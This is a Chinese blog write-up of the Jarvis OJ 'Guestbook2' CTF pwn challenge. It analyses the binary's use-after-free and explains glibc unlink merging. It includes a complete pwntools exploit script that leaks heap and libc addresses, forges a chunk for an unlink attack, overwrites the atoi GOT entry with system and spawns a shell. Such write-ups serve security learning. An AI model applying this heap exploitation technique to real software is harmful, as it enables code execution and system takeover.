Jarvis OJ---Guestbook2 WP

看一道Pwn题练习一下

参考文章：https://veritas501.space/2017/03/10/JarvisOJ_WP/ v爷爷nb

没有开启PIE，不错

程序一共有五个功能，本身没有后门函数给我们利用，要泄露地址，在堆上泄露地址还从来没尝试过（因为我不会）

在bss字段0x6020A8处，会有一个指针指向一开始创建的堆首地址

我们结合new操作以及list操作的函数，其实可以把整个guestbook的结构体分析出来

1
2
3
4
5
6
7
8
9
10
11
struct chunk_list  // size 0x1810
{
    int limit; // 最多256个
    int num; // the number of built guestbooks
}
struct guestbook // size 0x18
{
    int use_or_not;
    int len;
    int ptr;
}

接下来就是在各个函数中找漏洞了

Delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int Delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( *(chunk_list + 8) <= 0LL )
    return puts("No posts yet.");
  printf("Post number: ");
  v1 = sub_40094E();
  if ( v1 < 0 || v1 >= *chunk_list )   // 没有检查guestbook是否已经被释放
    return puts("Invalid number!");
  --*(chunk_list + 8);
  *(chunk_list + 24LL * v1 + 16) = 0LL;
  *(chunk_list + 24LL * v1 + 24) = 0LL;
  free(*(chunk_list + 24LL * v1 + 32)); // free 之后没赋0
  return puts("Done.");
}

Edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int Edit()
{
  __int64 v1; // rbx
  int len; // [rsp+4h] [rbp-1Ch]
  int num; // [rsp+8h] [rbp-18h]

  printf("Post number: ");
  num = sub_40094E();
  // 检查了guestbook是否被释放
  if ( num < 0 || num >= *chunk_list || *(chunk_list + 24LL * num + 16) != 1LL )
    return puts("Invalid number!");
  printf("Length of post: ");
  len = sub_40094E();
  if ( len <= 0 )
    return puts("Invalid length!");
  if ( len > 0x1000 )
    len = 0x1000;
  if ( len != *(chunk_list + 24LL * num + 24) )
  {
    v1 = chunk_list;
    *(v1 + 24LL * num + 32) = realloc(*(chunk_list + 24LL * num + 32), (0x80 - len % 0x80) % 0x80 + len);  // 长度会对齐为0x80的整数倍
    *(chunk_list + 24LL * num + 24) = len;
  }
  printf("Enter your post: ");
  sub_40085D(*(chunk_list + 24LL * num + 32), len);
  return puts("Done.");
}

接下来打算一边写exp，一边写注释来理解，毕竟我是真的不懂堆

leak

先来第一个步骤吧，就是leak出heap的base地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./guestbook2')
	bin = ELF('./guestbook2')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('pwn.jarvisoj.com',9879)
	bin = ELF('./guestbook2')
	#libc = ELF('')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()

# write function first
def list():
    cn.sendline('1')

def New(length,content):
    cn.sendline('2')
    cn.recvuntil('Length')
    cn.sendline(str(length))
    cn.recvuntil('Enter')
    cn.sendline(content)

def Edit(idx,length,content):
    cn.sendline('3')
    cn.recvuntil('number: ')
    cn.sendline(str(idx))
    cn.recvuntil('Length')
    cn.sendline(str(length))
    cn.recvuntil('Enter')
    cn.sendline(content)

def Delete(idx):
    cn.sendline('4')
    cn.recvuntil('number: ')
    cn.sendline(str(idx))

chunk_list = 0x00000000006020A8

# New 5 guestbook
for i in range(5):
    New(0x80,str(i)*0x80)

# Delete 3 and 1
Delete(3)
Delete(1)  # make the fd of the guestbbok1 points to guestbook3
payload = 0x80*'0'+'a'*0x10
Edit(0,0x90,payload) # cover prev_size and size of the guestbook1

# leak addr
list()
cn.recvuntil('a'*0x10)
leak_data = cn.recvuntil('\x0a')[:-1] # \n 因为printf遇到0才会截断读取，所以会继续泄露fd
cn.recv()
leak_addr = u64(leak_data + '\x00'*(8-len(leak_data))) # guestbook3
heap_base = leak_addr - 0x19d0 # offset 0x1820+0x90*3=0x19d0
chunk0_addr = heap_base+0x30 # 0x08*6=0x30
print("leak_addr: "+hex(leak_addr))
print("heap_base: "+hex(heap_base))
print("chunk0_addr: "+hex(chunk0_addr))

接下来就是unlink了，几个月前我曾尝试弄懂，可惜我失败了

这里最开始创建的大小的0x80，128个字节，所以之后realloc后，还是当作fast bin来处理

free时的操作

1
2
3
4
5
6
7
8
free(chunk)
if(prev_chunk == freed)
    unlink(prev_chunk)         //将两个chunk合并
if(next_chunk == top_chunk)
    ......                     //合并到top_chunk
else if(next_chunk == freed)
    unlink(next_chunk)         //将两个chunk合并
to_unsortbin(chunk)            //将经过处理合并后的chunk归入unsortbin

这其实就涉及到了unlink时可能会进行的合并操作

1)检查是否可以向后合并

首先需要检查 previous chunk 是否是空闲的（通过当前 chunk size 部分中的 flag 最低位去判断），在默认情况下，堆内存中的第一个chunk总是被设置为allocated的，即使它根本就不存在。

如果为free的话，那么就进行向后合并：

1)将前一个chunk占用的内存合并到当前chunk;

2)修改指向当前chunk的指针，改为指向前一个chunk。

3)使用unlink宏，将前一个free chunk从双向循环链表中移除。

前一个 chunk 是正在使用的，不满足向后合并的条件。

2)检查是否可以向前合并

在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断)，在找下下个chunk(这里的下、包括下下都是相对于 chunk first 而言的)的过程中，首先当前 chunk+ 当前 size 可以引导到下个 chunk ，然后从下个 chunk 的开头加上下个 chunk 的 size 就可以引导到下下个 chunk 。

如果我们把下个 chunk 的 size 覆盖为了-4**(32位)，那么它会认为下个 chunk 从 prev_size 开始就是下下个chunk了，既然已经找到了下下个 chunk ，那就就要去看看 size 的最低位以确定下个 chunk 是否在使用，当然这个 size 是 -4(11111100补码)** ，所以它指示下个 chunk 是空闲的。

在这个时候，就要发生向前合并了。即 first chunk 会和 first chunk 的下个 chunk (即 second chunk )发生合并。在此时会触发 unlink(second) 宏，想将 second 从它所在的 bin list 中解引用。

相关链接：https://www.jianshu.com/p/2776b6a79a11

如今的unlink

1
2
3
4
5
6
7
8
9
10
11
unlink(P, BK, FD) {                                            
    FD = P->fd;                                     
    BK = P->bk;                                     
    if(__builtin_expect (FD->bk != P || BK->fd != P, 0)) //safe
        malloc_printerr (check_action, "corrupted double-linked list", P);      
    else{                                   
        FD->bk = BK;                                
        BK->fd = FD;              
       .........................................
    }
}

道高一尺魔高一丈，精心伪造一个chunk，使FD->bk和BK->fd=P，这可以通过unlink检查

继续我们的exp，最后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# unlink
payload=p64(0)+p64(0x80)+p64(chunk0_addr-0x18)+p64(chunk0_addr-0x10)+'a'*0x60
payload+=p64(0x80)+p64(0x90)+'a'*0x70
print hex(len(payload))
Edit(0,len(payload),payload)
Delete(1) # chunk0_addr=chunk0_addr-0x18

# leak libc addr
payload=p64(2)+p64(1)+p64(0x100)+p64(chunk0_addr-0x18)
payload+=p64(1)+p64(0x8)+p64(bin.got['atoi'])
payload+='\x00'*(0x100-len(payload))
Edit(0,len(payload),payload)
list()
cn.recvuntil('0. ')
cn.recvuntil('1. ')
atoi=cn.recvuntil('\x0a')[:-1]
atoi_addr=atoi=u64(atoi+'\x00'*(8-len(atoi)))
cn.recv()
system_addr=atoi_addr-libc.symbols['atoi']+libc.symbols['system']
print('atoi_addr:'+hex(atoi_addr))
print('system_addr:'+hex(system_addr))

#write atoi to system & get shell
Edit(1,8,p64(system_addr)) 
cn.sendline('/bin/sh\x00')

cn.interactive()
本文作者： xiaoyuyu
本文链接： http://woaixiaoyuyu.github.io/2019/02/09/Jarvis%20OJ---Guestbook2%20WP/
版权声明： 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处！
赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 本站访客数人

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

记录成长的点滴<br><br>涉猎颇广的信息技术爱好者<br>希望未来的xiaoyuyu<br>可以成为优秀的工程师